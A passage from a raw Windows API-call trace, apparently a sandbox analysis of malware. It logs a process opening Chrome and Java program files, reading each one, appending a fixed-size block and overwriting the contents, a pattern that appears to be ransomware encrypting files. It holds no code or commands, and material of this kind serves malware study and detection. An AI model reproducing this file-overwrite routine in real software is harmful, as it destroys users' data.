nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.523] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4ac57 [0043.523] WriteFile (in: hFile=0x168, lpBuffer=0x271e078*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x271e078*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.524] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0043.524] WriteFile (in: hFile=0x168, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0043.524] CloseHandle (hObject=0x168) returned 1 [0043.525] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\mr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\mr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0043.525] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.525] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xa1beb [0043.525] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.525] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.525] ReleaseMutex (hMutex=0x128) returned 1 [0043.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mr.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0043.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mr.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mr.pak", lpUsedDefaultChar=0x0) returned 6 [0043.525] ReadFile (in: hFile=0x168, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0043.539] ReadFile (in: hFile=0x168, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.540] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xa0beb [0043.540] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.542] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xa0beb [0043.543] WriteFile (in: hFile=0x168, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.544] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0043.544] WriteFile (in: hFile=0x168, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0043.544] WriteFile (in: hFile=0x168, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.544] CloseHandle (hObject=0x168) returned 1 [0043.544] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sl.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0043.546] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.546] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4bb7e [0043.546] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.546] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.546] ReleaseMutex (hMutex=0x128) returned 1 [0043.546] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sl.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0043.546] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sl.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sl.pak", lpUsedDefaultChar=0x0) returned 6 [0043.546] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0043.548] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4ab7e [0043.548] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.549] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4ab7e [0043.550] WriteFile (in: hFile=0x168, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.550] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0043.550] WriteFile (in: hFile=0x168, lpBuffer=0x3a45df8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a45df8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0043.550] CloseHandle (hObject=0x168) returned 1 [0043.550] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-CN.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\zh-cn.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0043.551] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.551] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4217c [0043.551] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.551] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.551] ReleaseMutex (hMutex=0x128) returned 1 [0043.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-CN.pak", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0043.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-CN.pak", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zh-CN.pak", lpUsedDefaultChar=0x0) returned 9 [0043.551] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0043.553] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4117c [0043.553] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.554] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4117c [0043.555] WriteFile (in: hFile=0x168, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.555] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0043.555] WriteFile (in: hFile=0x168, lpBuffer=0x3a45df8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a45df8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0043.555] CloseHandle (hObject=0x168) returned 1 [0043.555] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0043.556] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.556] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x3b6 [0043.556] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.557] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.557] ReleaseMutex (hMutex=0x128) returned 1 [0043.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0043.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x1e631ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="manifest.json", lpUsedDefaultChar=0x0) returned 13 [0043.557] ReadFile (in: hFile=0x168, lpBuffer=0x1da4708, nNumberOfBytesToRead=0x3b6, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da4708*, lpNumberOfBytesRead=0x2c0f2bc*=0x3b6, lpOverlapped=0x0) returned 1 [0043.558] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0043.558] WriteFile (in: hFile=0x168, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x93e, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2c0f2d0*=0x93e, lpOverlapped=0x0) returned 1 [0043.558] CloseHandle (hObject=0x168) returned 1 [0043.558] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\java.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0043.559] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.559] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2a9a8 [0043.559] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.559] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.559] ReleaseMutex (hMutex=0x128) returned 1 [0043.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="java.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="java.exe", cchWideChar=8, lpMultiByteStr=0x1e6320c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="java.exe", lpUsedDefaultChar=0x0) returned 8 [0043.559] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0043.561] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x299a8 [0043.561] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.562] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x299a8 [0043.562] WriteFile (in: hFile=0x168, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.562] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0043.562] WriteFile (in: hFile=0x168, lpBuffer=0x3a45df8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a45df8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0043.562] CloseHandle (hObject=0x168) returned 1 [0043.562] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\orbd.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0043.564] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.564] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x3da8 [0043.564] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.564] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.564] ReleaseMutex (hMutex=0x128) returned 1 [0043.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="orbd.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="orbd.exe", cchWideChar=8, lpMultiByteStr=0x1e631cc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="orbd.exe", lpUsedDefaultChar=0x0) returned 8 [0043.564] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.186] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x2da8 [0044.186] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.191] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x2da8 [0044.191] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.196] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0044.197] WriteFile (in: hFile=0x168, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.198] CloseHandle (hObject=0x168) returned 1 [0044.201] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.206] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.206] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x9b [0044.206] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.207] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.207] ReleaseMutex (hMutex=0x128) returned 1 [0044.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.properties", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0044.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.properties", cchWideChar=24, lpMultiByteStr=0x1e7fb1c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.properties", lpUsedDefaultChar=0x0) returned 24 [0044.208] ReadFile (in: hFile=0x168, lpBuffer=0x2515178, nNumberOfBytesToRead=0x9b, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2515178*, lpNumberOfBytesRead=0x2c0f2bc*=0x9b, lpOverlapped=0x0) returned 1 [0044.211] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0044.214] WriteFile (in: hFile=0x168, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x623, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2c0f2d0*=0x623, lpOverlapped=0x0) returned 1 [0044.216] CloseHandle (hObject=0x168) returned 1 [0044.216] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.217] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.217] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x15ac [0044.217] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.217] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.217] ReleaseMutex (hMutex=0x128) returned 1 [0044.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-types.properties", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0044.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-types.properties", cchWideChar=24, lpMultiByteStr=0x1e7fb1c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="content-types.properties", lpUsedDefaultChar=0x0) returned 24 [0044.217] ReadFile (in: hFile=0x168, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x15ac, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x2c0f2bc*=0x15ac, lpOverlapped=0x0) returned 1 [0044.223] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0044.224] WriteFile (in: hFile=0x168, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1b34, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x1b34, lpOverlapped=0x0) returned 1 [0044.224] CloseHandle (hObject=0x168) returned 1 [0044.224] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.225] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: 